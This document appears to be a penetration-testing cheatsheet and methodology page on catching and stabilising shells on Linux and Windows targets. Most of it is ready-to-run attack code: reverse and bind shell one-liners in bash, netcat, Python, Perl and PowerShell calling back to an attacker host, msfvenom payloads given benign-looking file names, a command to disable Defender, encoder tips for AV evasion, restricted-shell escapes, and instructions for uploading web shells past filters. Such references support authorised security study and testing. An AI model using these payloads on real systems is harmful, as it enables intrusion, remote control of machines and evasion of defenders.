Skip to Content
Red Teaming02-Pre-ExploitShells & Payloads

Shells & Payloads

Cheatsheet

Linux

#rev shell # Attacker sudo nc -lvnp <LPORT> # rlwrap (arrow-key history + line editing in the caught shell) rlwrap -cAr nc -lvnp <LPORT> # Target bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 # works when 1st fails rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f #bind shell # Target rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LPORT> > /tmp/f # Attacker nc -nv <TARGET_IP> <LPORT>
# stageless ELF rev shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > shell.elf # stageless Windows EXE rev shell msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > update.exe # List payload output formats / payloads msfvenom --list formats msfvenom --list payloads | grep -i reverse_tcp
# dumb shell to a full PTY python3 -c 'import pty; pty.spawn("/bin/bash")' script /dev/null -c /bin/bash # background with Ctrl-Z: stty raw -echo; fg # then in the returned shell: export TERM=xterm; stty rows 38 columns 116

Windows

# Target: powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()"
#disable AV Set-MpPreference -DisableRealtimeMonitoring $true

Methodology

Phase 1: Choose Shell Direction & Catch It

?

Ask youself

  • Can the target reach me (reverse shell) or can I reach the target (bind shell)?
  • Which outbound port is most likely allowed through egress filtering 443, 80, 53? or theres no restriction?
  • Is there a firewall/NAT that blocks inbound connections to the target, forcing a reverse shell?
  • Default to a reverse shell as outbound is usually allowed, inbound is usually filtered.
  • Pick <LPORT> that egress likely permits (443, 80, 53) before generating the payload.
  • Start the listener first; a payload that fires with no catcher just errors and tips off defenders.
  • If outbound is fully blocked but a target port is reachable, fall back to a bind shell.

Phase 2: Deliver & Trigger the Payload

?

Ask youself

  • What is the target OS and architecture? That dictates ELF vs EXE or bat or vbs or msi, bash vs PowerShell.
  • What execution primitive do I actually have like command injection, file upload, RCE exploit, SSH?
  • Is AV/EDR present, and will a raw payload be flagged the moment it lands?
  • Which interpreter or binary is guaranteed present (bash, python3, nc, powershell)?
# Confirm OS/arch before choosing a payload trhough nmap scan info or other reflecting information like headers of the website etc. uname -a # Linux systeminfo # Windows # Generate the matching stageless payload msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > shell.elf msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > update.exe
  • Fingerprint OS and architecture (uname -a, TTL, nmap -O, systeminfo) before picking a payload.
  • Match payload format to the target (-f elf/-f exe/-f raw/-f asp).
  • Prefer a language already present (bash/PowerShell one-liner) over dropping a binary when AV is a risk.
  • Transfer and execute the payload, then watch the listener for the callback.
  • If the callback is instantly killed, suspect AV is in act, see Phase 3 of the Reference and obfuscate/encode.

Phase 3: Stabilize the Shell

?

Ask youself

  • Is this a real PTY or a dumb pipe (does sudo -l, su, or Ctrl-C or line editing behave correctly)?
  • Which upgrade method is available like python3, script, socat, or none?
  • Do I have arrow-key history and proper terminal size for comfortable work?
# Spawn a PTY python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' script -qc /bin/bash /dev/null # Then upgrade the local terminal (attacker side) # Ctrl-Z, then: stty raw -echo; fg export TERM=xterm; stty rows 38 columns 116
  • Confirm whether the shell is interactive (sudo -l, tab-completion, Ctrl-C don’t kill it).
  • Upgrade to a PTY
  • Set TERM and terminal dimensions so editors and pagers render correctly.
  • Catch a second shell as backup before running anything that could crash the first.

OPSEC

  • Raw msfvenom payloads and default web shells are heavily signatured. Expect AV/EDR to flag them; encode, obfuscate, or use living-off-the-land interpreters.
  • Reverse shells on 443/80 blend better than odd high ports, but a long-lived connection to an external IP is still anomalous.
  • PowerShell download-and-execute one-liners trigger script-block logging (Event ID 4104). Native-language one-liners avoid dropping files but are still logged.
  • Disabling AV (Set-MpPreference -DisableRealtimeMonitoring) is itself a loud, audited event (Defender event log, tamper-protection alerts).

Reference

Reverse Shell One-Liners

Always start the listener first: sudo nc -lvnp <LPORT> (or rlwrap -cAr nc -lvnp <LPORT> for history).

# Bash (built-in /dev/tcp) bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 # mkfifo + nc (portable, no /dev/tcp needed) rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f # Python3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in(0,1,2)];import pty;pty.spawn("/bin/bash")' # Perl perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Breakdown of the classic mkfifo one-liner:

FragmentPurpose
rm -f /tmp/f;Remove the FIFO if it exists; -f ignores a missing file. ; runs sequentially.
mkfifo /tmp/f;Create a FIFO named pipe at /tmp/f.
cat /tmp/f |Stream the pipe’s contents into the next command’s stdin.
/bin/bash -i 2>&1 |Run an interactive bash; redirect stderr (2) into stdout (1) into the pipe.
nc <LHOST> <LPORT> > /tmp/fConnect back to the listener; write received data back into the pipe, completing the loop.

msfvenom Payloads

# Linux stageless ELF msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > backup.elf # Windows stageless EXE msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > BonusPlan.exe # Other useful formats: raw, psh (PowerShell), asp/aspx/jsp/war (web), python, raw shellcode (-f c) msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > met.exe
FlagMeaning
-pThe payload to generate (OS/arch/type), e.g. linux/x64/shell_reverse_tcp.
LHOST / LPORTAttacker IP and port the payload calls back to.
-fOutput format (elf, exe, raw, asp, psh, …).
-e / -iEncoder and iteration count (basic AV evasion, e.g. -e x86/shikata_ga_nai -i 5).
-bBad characters to avoid in the shellcode (e.g. -b '\x00\x0a').
> fileWrite the generated payload to a file with an inconspicuous name.

Name dropped payloads to look benign (update.exe, BonusPlan.exe, createbackup.elf). msfvenom encoders alone no longer reliably bypass modern AV/EDR treat them as obfuscation, not evasion.

Spawning Interactive Shells (TTY Upgrade)

When you land in a dumb shell, sudo -l, su, ssh, and Ctrl-C misbehave. Upgrade to a PTY:

# Preferred: Python PTY python3 -c 'import pty; pty.spawn("/bin/bash")' script /dev/null -c /bin/bash # Alternatives when python is absent /bin/sh -i script -qc /bin/bash /dev/null perl -e 'exec "/bin/sh";' ruby -e 'exec "/bin/sh"' lua -e 'os.execute("/bin/sh")' awk 'BEGIN {system("/bin/sh")}' # Abuse find to exec a shell find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \; find . -exec /bin/sh \; -quit # From within vim vim -c ':!/bin/sh' # vim shell :set shell=/bin/sh #then :shell

After spawning a PTY, fully upgrade the local terminal:

# 1) background the shell # Ctrl-Z # 2) on the attacker stty raw -echo; fg # 3) back in the target shell export TERM=xterm stty rows 38 columns 116

Always check what the landed account can do before escalating:

ls -la <path/to/binary> # file permissions sudo -l # sudo rights (needs a stable interactive shell to return output)

Restricted Shells (rbash)

Spot that you are in one

echo $SHELL # /bin/rbash, or a shell started with -r # Restricted shells commonly reject these: cd / # "restricted" /bin/ls # "/ not allowed" export PATH=/tmp:$PATH # "readonly variable" / "restricted"

Enumerate what is allowed before escaping

# Which builtins/operators work? Test them directly. ls; echo test > /tmp/x; cat < /tmp/x # redirection operators >, >>, <, | # Which interpreters exist? python --version; python3 --version; perl -v; ruby --version # What can be run with elevated rights, and what is SUID? sudo -l find / -perm -u=s -type f 2>/dev/null # Everything the shell inherited (look for a writable PATH entry) printenv

Escape ladder

# 1) Absolute paths, if / is permitted /bin/bash /bin/sh # 2) Copy an unrestricted shell somewhere on the allowed PATH (if cp works) cp /bin/bash ~/sh && ~/sh # 3) Language interpreters that can exec a shell python3 -c 'import os; os.system("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' perl -e 'exec "/bin/sh";' ruby -e 'exec "/bin/sh"' lua -e 'os.execute("/bin/sh")' php -r 'system("/bin/sh");' # or php -a then: system("/bin/sh");
# 4) Editors and pagers that shell out vi # then :set shell=/bin/bash -> :shell (or :!/bin/bash) man nmap # then !/bin/bash (works via less) less /etc/passwd # then !/bin/bash gdb -nx -ex '!/bin/bash' -ex quit # or, inside gdb: !/bin/bash # 5) Binaries that take an -exec / action argument find . -exec /bin/sh \; -quit find / -name notexist -exec /bin/awk 'BEGIN{system("/bin/sh")}' \; # 6) Archive tools with command hooks tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh zip /tmp/z.zip /tmp/x -T --unzip-command="sh -c /bin/sh" # 7) SSH forcing a shell / non-restricted command on connect ssh <USER>@<TARGET_IP> -t "/bin/sh" ssh <USER>@<TARGET_IP> -t "bash --noprofile --norc"

Web Shells

  • Laudanum (/usr/share/laudanum) or Laudanum Github  ready-made injectable shells for asp, aspx, jsp, php and more. Built into Kali/Parrot. Edit reverse-shell variants to insert your <LHOST> and read the comments before use.
  • Antak (/usr/share/nishang/Antak-WebShell/antak.aspx) or (Antak-webshell Github ) ASP.NET / PowerShell web shell from Nishang; ideal on Windows/IIS. Each command runs as a new process; it can run scripts in memory and encode commands. Set a username/password on line 14 and strip the ASCII art/comments (they get signatured) before deploying.
  • PHP web shell (e.g. WhiteWinterWolf’s wwwolf-php-webshell) or (wwwolf-php-webshell Github ) paste the source into a .php file and upload. If an upload form only allows images, bypass the filter by changing the extension/Content-Type.

Identifying Windows vs Linux Targets

Quick OS fingerprinting to pick the right payload:

# TTL heuristic: ~128 -> Windows, ~64 -> Linux (may shift with hop count) ping <TARGET_IP> # Nmap OS detection (look for OS CPE: cpe:/o:microsoft:windows...) nmap -O -v <TARGET_IP>
  • Came from: service enumeration and exploitation that yields code execution (e.g. SMB, web upload, command injection, a public exploit).
  • Leads to: Linux/Windows privilege escalation, credential pillaging, and lateral movement once a stable shell is established.
  • Pairs with: canonical file-transfer methods and shell-stabilization references.

#Penetration-Testing #Windows #Linux #Metasploit #Shells #ReverseShell #BindShell #WebShell #Msfvenom #Netcat #TTY #Stabilization #PHP #PowerShell #Certification

Last updated on